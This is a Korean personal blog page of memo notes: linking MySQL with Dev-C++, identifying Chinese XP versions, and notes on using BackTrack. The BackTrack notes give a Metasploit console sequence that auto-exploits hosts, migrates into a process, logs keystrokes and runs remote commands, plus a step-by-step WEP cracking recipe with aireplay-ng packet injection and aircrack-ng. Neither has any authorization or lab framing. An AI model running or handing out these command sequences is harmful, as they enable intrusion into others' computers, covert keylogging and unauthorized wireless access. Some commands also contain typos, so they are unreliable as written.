dev c++ 에서 mysql 접속하는 방법

제가 dev c++을 좋아 하는데 mysql을 사용시 라이브러리로 제공하는 파일이 vc만 제공하는 관계로 구글링으로 찾음
한번 써 봤는데 감동받아서 관련 내용을 그대로 옮겨서 찾은 링크과 거기에 있는 내용을 요약하지 않고 그대로 적음 ^^
 
찾은 링크 : http://www.openwebspider.org/documentation/how-to-link-libmysqllib-with-dev-c-or-gcc-under-windows/

제목 : How to link libmysql.lib with Dev-C++ or GCC under windows

내용 :
The problem is that only MS Visual C++ can link libmysql.lib but there is a trick
to compile with Dev c++(I used version 4.9.9.2) or GCC:

> reimp.exe <FULL_PATH_OF(MySQL\lib\opt)>libmysql.lib
(^ This command creates: libmysql.def AND libmysql.a)

> dlltool.exe –input-def LIBMYSQL.def –dllname libmysql.dll –output-lib libmysql.dll
(^ this creates libmysql.dll)

Now You must copy libmysql.a in the “LIB” folder of dev-cpp (Ex. …\Dev-Cpp\lib\) and
and use “-lmysql -lws2_32″ as additional linker options

This way is good for all applications who needs to compile mysql library under
windows with dev c++ or GCC

NOTE:
(1) You could found reimp here:
http://prdownloads.sourceforge.net/mingw/mingw-utils-0.2.tar.gz?download
(2) You can download my libmysql.a or libmysql.dll


중국어 XP 구분하기

인터넷에서 메모함

추측컨데 tranditional(번체), Simplified(간체), Hong Kong SAR(광둥어), Taiwan(대만어) 같습니다만 맞는지..

보통 중국어라 하면 간체를 사용하지만, 한문을 이해하시는 분이시라면 번체를..

결론은 Simplified가 필요하실 것 같습니다. 중국 본토에서 사용하실 분이시라면요.

스마트님 감사... ^^


백트랙에서 콘솔 사용 예 백트랙

msf > db_driver sqlite3
msf > db_create XPSP3
msf > db_nmap (local IP)
msf > db_autopwn -p -t -e
msf > session -l
msf > session -i 1
msf > ps
msf > migrate (process ID)
msf > keyscan_start
msf > keyscan_dump
msf > keyscan_stop
msf > execute -f CMD -i

백트랙에서 무선랜 인젝션 하는 방법 백트랙

root@bt:~# ifcofnig eth0 up
root@bt:~# iwlist eth0 scan
root@bt:~# iwconfig eth0 essid <essid>
root@bt:~# iwconfig eth0 key <key>
root@bt:~# iwconfig eth0 key s:패스워드
root@bt:~# dhclient eth0

root@bt:~# iwconfig
root@bt:~# airmon-ng stop eth0
root@bt:~# airmon-ng start eth0

-> 장애발생으로
   iwconfig eth1 mode monitor : 했으나 마찬가지임

   IPW2200GB packet re-injection,

root@bt:~# iwconfig
root@bt:~# airmon-ng stop mon0mon
root@bt:~# airmon-ng stop mon0
root@bt:~# airmon-ng stop eth0
root@bt:~# aimon-ng start eth0 5
root@bt:~# ifconfig -a
root@bt:~# export AP=00:08:9F:94:1D:17   -> bssid의 값을 AP이라는 변수로 저장
root@bt:~# export MY=00:26:66:05:63:AA  -> mac addr의 값을 MY라는 변수로 저장
root@bt:~# airodump-ng -c 5 --bssid $AP -w out mon0
root@bt:~# aireplay-ng -1 0 -e SSID명 -a $AP -h $MY mon0
root@bt:~# aireplay-ng -3 -b $AP -h $MY mon0
 64bit : 20,000개 이상
128bit : 40,000개 이상
root@bt:~# aircrack-ng -z -b $AP out*.cap

백트랙에서 무선랜 인젝션 되는 것과 안되는 거 백트랙

한시간 삽질하다가 인터넷에 잘 정리된 사이트가 있는 것도 모르고 왜 안되나 이상하게 생각했음
1. 잘되는 것 IP TIME(Ralink)이 잘됨
2. 안되는 것, 센트리노(2200BG)와 시스코(Aironet)에서는 펌웨어 문제로 인젝션만 안됨
나중에 참조하려고 적어둠
http://www.wirelessdefence.org/Contents/AircrackORIGINAL.html
Chipset Supported by airodump for Windows ? Supported by airodump for Linux ? Supported by aireplay for Linux ?
HermesI YES (Agere driver) YES (patched orinoco driver) NO (firmware corrupts the MAC header)
Prism2/3 NO, but see LinkFerret for an alternative YES (HostAP or wlan-ng driver), STA firmware 1.5.6 or newer required YES (PCI and CardBus only, driver patching required)
PrismGT YES (PrismGT driver) FullMAC: YES (prism54 driver, SoftMAC: NOT YET (prism54usb) YES (driver patching recommended)
Atheros CardBus: YES (Atheros driver), PCI: NO (see CommView WiFi instead) YES (PCI and CardBus only, madwifi driver) YES (driver patching required)
RTL8180 YES (Realtek driver) YES (rtl8180-sa2400 driver) UNSTABLE (driver patching required)
Aironet YES? (Cisco driver) YES (airo driver, firmware 4.25.30 recommended) NO (firmware issue)
Ralink NO YES (rt2500 / rt2570 driver) YES (driver patching required)
Centrino b NO PARTIAL: the ipw2100 driver doesn't discard corrupted packets NO
Centrino b/g NO YES (ipw2200 driver, 1.0.6 recommended) NO (firmware drops packets)
Broadcom Old models only (BRCM driver) NOT YET (bcm43xx driver, Linux >= 2.6.14 required) NO
TI (ACX100 / ACX111) NO UNTESTED (acx100 driver) NO
ZyDAS 1201 NO YES (zd1211 driver) NO
Others (Marvel...) NO UNKNOWN NO



1 2 3 4